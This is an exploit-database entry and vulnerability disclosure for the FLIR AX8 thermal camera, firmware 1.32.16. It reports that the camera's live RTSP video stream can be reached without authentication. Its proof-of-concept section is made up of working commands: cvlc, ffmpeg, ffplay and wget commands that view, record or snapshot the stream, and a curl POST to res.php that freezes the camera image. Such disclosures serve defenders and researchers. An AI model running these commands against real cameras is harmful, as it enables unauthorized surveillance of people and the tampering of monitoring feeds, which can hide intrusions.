FLIR AX8 Thermal Camera 1.32.16 - RTSP Stream Disclosure

vendor:

FLIR AX8 Thermal Camera

by:

Gjoko 'LiquidWorm' Krstic

8.8

CVSS

HIGH

Unauthorized RTSP Stream Access

287

CWE

Product Name: FLIR AX8 Thermal Camera

Affected Version From: Firmware: 1.32.16, 1.17.13, OS: neco_v1.8-0-g7ffe5b3, Hardware: Flir Systems Neco Board

Affected Version To: Firmware: 1.32.16, 1.17.13, OS: neco_v1.8-0-g7ffe5b3, Hardware: Flir Systems Neco Board

Patch Exists: NO

Related CWE: N/A

CPE: h:flir:ax8_thermal_camera

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: GNU/Linux 3.0.35-flir+gfd883a0 (armv7l), lighttpd/1.4.33, PHP/5.4.14

2018

FLIR AX8 Thermal Camera 1.32.16 – RTSP Stream Disclosure

The FLIR AX8 thermal sensor camera suffers an unauthenticated and unauthorized live RTSP video stream access. An attacker can use tools such as cvlc, ffmpeg, ffplay, and wget to access the RTSP stream and freeze the stream using a POST request to the res.php file.

Mitigation:

Ensure that the RTSP stream is properly secured and access is restricted to authorized users.

Source

Exploit-DB raw data:

# Exploit Title: FLIR AX8 Thermal Camera 1.32.16 - RTSP Stream Disclosure
# Author: Gjoko 'LiquidWorm' Krstic @zeroscience
# Date: 2018-10-14
# Vendor: FLIR Systems, Inc.
# Product web page: https://www.flir.com
# Affected version: Firmware: 1.32.16, 1.17.13, OS: neco_v1.8-0-g7ffe5b3, Hardware: Flir Systems Neco Board
# Tested on: GNU/Linux 3.0.35-flir+gfd883a0 (armv7l), lighttpd/1.4.33, PHP/5.4.14
# References:
# Advisory ID: ZSL-2018-5492
# https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5492.php

# Desc: The FLIR AX8 thermal sensor camera suffers an unauthenticated and unauthorized
# live RTSP video stream access.

# PoC 

$ cvlc rtsp://TARGET/mpeg4 --fullscreen
$ ffmpeg -i rtsp://TARGET/mpeg4 -b 7000k -vcodec copy -r 60 -y ./meltdown.mp4
$ ffplay rtsp://TARGET/mpeg4
$ wget http://TARGET/snapshot.jpg ; eog snapshot.jpg

# PoC - To freeze the stream:

$ curl -d "action=set&resource=.image.state.freeze.set&value=true" -X POST http://TARGET/res.php